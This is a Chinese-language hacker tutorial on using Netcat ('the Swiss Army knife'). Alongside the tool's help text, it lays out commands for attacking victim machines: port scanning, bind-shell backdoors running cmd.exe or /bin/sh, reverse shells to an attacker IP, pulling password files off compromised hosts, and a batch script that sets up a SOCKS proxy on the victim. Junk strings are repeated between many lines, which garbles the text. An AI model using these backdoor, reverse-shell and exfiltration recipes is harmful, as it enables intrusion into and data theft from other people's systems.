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瑞士军刀NC教程 X20<r?^,, X20<r?^,, X20<r?^,, 黑客瑞士军刀NC使用教程 X20<r?^,, X20<r?^,, 1. 写在前面的话 X20<r?^,, X20<r?^,, ###################################################################### X20<r?^,, X20<r?^,, NC这个黑客必备的武器,被称为”瑞士军刀”可见功能之强大. X20<r?^,, X20<r?^,, 对比win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就可以看出来了. X20<r?^,, X20<r?^,, 1.1 NC.EXE是一个非标准的telnet客户端程序, X20<r?^,, X20<r?^,, 1.2 还有一个putty.exe客户端程序,提供四种连接模式 X20<r?^,, X20<r?^,, -raw -telnet -rlogin -ssh. X20<r?^,, X20<r?^,, 虽然现在也新出了GUI版的中文“NC”,但是相比起来还是这个好用。 X20<r?^,, X20<r?^,, ###################################################################### X20<r?^,, X20<r?^,, 2. Netcat 1.10 for NT 帮助信息 X20<r?^,, X20<r?^,, ###################################################################### X20<r?^,, X20<r?^,, C:\WINDOWS\Desktop>nc -h X20<r?^,, X20<r?^,, [v1.10 NT] X20<r?^,, X20<r?^,, connect to somewhere: nc [-options] hostname port[s] [ports] ... X20<r?^,, X20<r?^,, listen for inbound: nc -l -p port [options] [hostname] [port] X20<r?^,, X20<r?^,, options: X20<r?^,, X20<r?^,, -d detach from console, background mode (后台模式) X20<r?^,, X20<r?^,, -e prog inbound program to exec [dangerous!!] X20<r?^,, X20<r?^,, -g gateway source-routing hop point[s], up to 8 X20<r?^,, X20<r?^,, -G num source-routing pointer: 4, 8, 12, ... X20<r?^,, X20<r?^,, -h this cruft (本帮助信息) X20<r?^,, X20<r?^,, -i secs delay interval for lines sent, ports scanned (延迟时间) X20<r?^,, X20<r?^,, -l listen mode, for inbound connects (监听模式,等待连接) X20<r?^,, X20<r?^,, -L listen harder, re-listen on socket close (连接关闭后,仍然继续监听) X20<r?^,, X20<r?^,, -n numeric-only IP addresses, no DNS (ip数字模式,非dns解析) X20<r?^,, X20<r?^,, -o file hex dump of traffic (十六进制模式输出文件,三段) X20<r?^,, X20<r?^,, -p port local port number (本地端口) X20<r?^,, X20<r?^,, -r randomize local and remote ports (随机本地远程端口) X20<r?^,, X20<r?^,, -s addr local source address (本地源地址) X20<r?^,, X20<r?^,, -t answer TELNET negotiation X20<r?^,, X20<r?^,, -u UDP mode X20<r?^,, X20<r?^,, -v verbose [use twice to be more verbose] (-vv 更多信息) X20<r?^,, X20<r?^,, -w secs timeout for connects and final net reads X20<r?^,, X20<r?^,, -z zero-I/O mode [used for scanning] (扫描模式,-vv) X20<r?^,, X20<r?^,, port numbers can be individual or ranges: m-n [inclusive] X20<r?^,, ###################################################################### X20<r?^,, X20<r?^,, 3. Netcat 1.10 常用的命令格式 X20<r?^,, X20<r?^,, ###################################################################### X20<r?^,, X20<r?^,, 3.1.端口的刺探: X20<r?^,, X20<r?^,, nc -vv ip port X20<r?^,, X20<r?^,, RIVER [192.168.0.198] 19190 (?) open //显示是否开放open X20<r?^,, X20<r?^,, X20<r?^,, X20<r?^,, 3.2.扫描器 X20<r?^,, X20<r?^,, nc -vv -w 5 ip port-port port X20<r?^,, X20<r?^,, nc -vv -z ip port-port port X20<r?^,, X20<r?^,, 这样扫描会留下大量的痕迹,系统管理员会额外小心 X20<r?^,, X20<r?^,, X20<r?^,, X20<r?^,, 3.3. 后门 X20<r?^,, X20<r?^,, victim machine: //受害者的机器 X20<r?^,, X20<r?^,, nc -l -p port -e cmd.exe //win2000 aObWd5~ aObWd5~ nc -l -p port -e /bin/sh //unix,linux aObWd5~ aObWd5~ attacker machine: //攻击者的机器. aObWd5~ aObWd5~ nc ip -p port //连接victim_IP,然后得到一个shell。 aObWd5~ aObWd5~ aObWd5~ aObWd5~ 3.4.反向连接 aObWd5~ aObWd5~ attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击. aObWd5~ aObWd5~ //或者wollf的反向连接. aObWd5~ aObWd5~ nc -vv -l -p port aObWd5~ aObWd5~ victim machine: aObWd5~ aObWd5~ nc -e cmd.exe attacker ip -p port aObWd5~ aObWd5~ nc -e /bin/sh attacker ip -p port aObWd5~ aObWd5~ aObWd5~ aObWd5~ 或者: aObWd5~ aObWd5~ attacker machine: aObWd5~ aObWd5~ nc -vv -l -p port1 /*用于输入*/ aObWd5~ aObWd5~ nc -vv -l -p prot2 /*用于显示*/ aObWd5~ aObWd5~ victim machine: aObWd5~ aObWd5~ nc attacker_ip port1 cmd.exe nc attacker_ip port2 aObWd5~ aObWd5~ nc attacker_ip port1 /bin/sh nc attacker_ip port2 aObWd5~ aObWd5~ aObWd5~ aObWd5~ 139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP) aObWd5~ aObWd5~ 这样就可以保证nc.exe优先于NETBIOS。 aObWd5~ 3.5.传送文件: aObWd5~ aObWd5~ 3.5.1 attacker machine <-- victim machine //从肉鸡拖密码文件回来. aObWd5~ aObWd5~ nc -d -l -p port < path\filedest /*attacker machine*/ 可以shell执行 aObWd5~ aObWd5~ nc -vv attacker_ip port > path\file.txt /*victim machine*/ 需要Ctrl C退出 aObWd5~ aObWd5~ //肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl C. aObWd5~ aObWd5~ aObWd5~ aObWd5~ 3.5.2 attacker machine victim machine //上传命令文件到肉鸡 aObWd5~ aObWd5~ nc -vv -l -p port > path\file.txt /*victim machine*/ 需要Ctrl C退出 aObWd5~ aObWd5~ nc -d victim_ip port < path\filedest /*attacker machine*/ 可以shell执行 aObWd5~ aObWd5~ //这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆. aObWd5~ aObWd5~ aObWd5~ aObWd5~ 结论: 可以传输ascii,bin文件.可以传输程序文件. aObWd5~ aObWd5~ aObWd5~ aObWd5~ 问题:连接某个ip后,传送完成后,需要发送Ctrl C退出nc.exe . aObWd5~ aObWd5~ 或者只有再次连接使用pskill.exe 杀掉进程.但是是否释放传输文件打开的句柄了? aObWd5~ aObWd5~ aObWd5~ aObWd5~ aObWd5~ aObWd5~ 3.6 端口数据抓包. aObWd5~ aObWd5~ nc -vv -w 2 -o test.txt www.hackervip.com 80 21-15 aObWd5~ aObWd5~ aObWd5~ aObWd5~ < 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error aObWd5~ aObWd5~ < 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr aObWd5~ aObWd5~ < 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized... aObWd5~ aObWd5~ < 00000084 83 00 00 01 8f # ..... aObWd5~ aObWd5~ aObWd5~ aObWd5~ aObWd5~ aObWd5~ 3.7 telnet,自动批处理。 aObWd5~ aObWd5~ nc victim_ip port < path\file.cmd /*victim machine*/ 显示执行过程. aObWd5~ aObWd5~ nc -vv victim_ip port < path\file.cmd /*victim machine*/ 显示执行过程. aObWd5~ aObWd5~ aObWd5~ aObWd5~ nc -d victim_ip port < path\file.cmd 安静模式. aObWd5~ aObWd5~ aObWd5~ aObWd5~ _______________file.cmd________________________ aObWd5~ aObWd5~ password aObWd5~ aObWd5~ cd %windir% aObWd5~ aObWd5~ echo []=[%windir%] aObWd5~ aObWd5~ c: aObWd5~ aObWd5~ cd \ aObWd5~ aObWd5~ md test aObWd5~ aObWd5~ cd /d %windir%\system32\ aObWd5~ aObWd5~ net stop sksockserver aObWd5~ aObWd5~ snake.exe -config port 11111 aObWd5~ aObWd5~ net start sksockserver aObWd5~ aObWd5~ exit aObWd5~ aObWd5~
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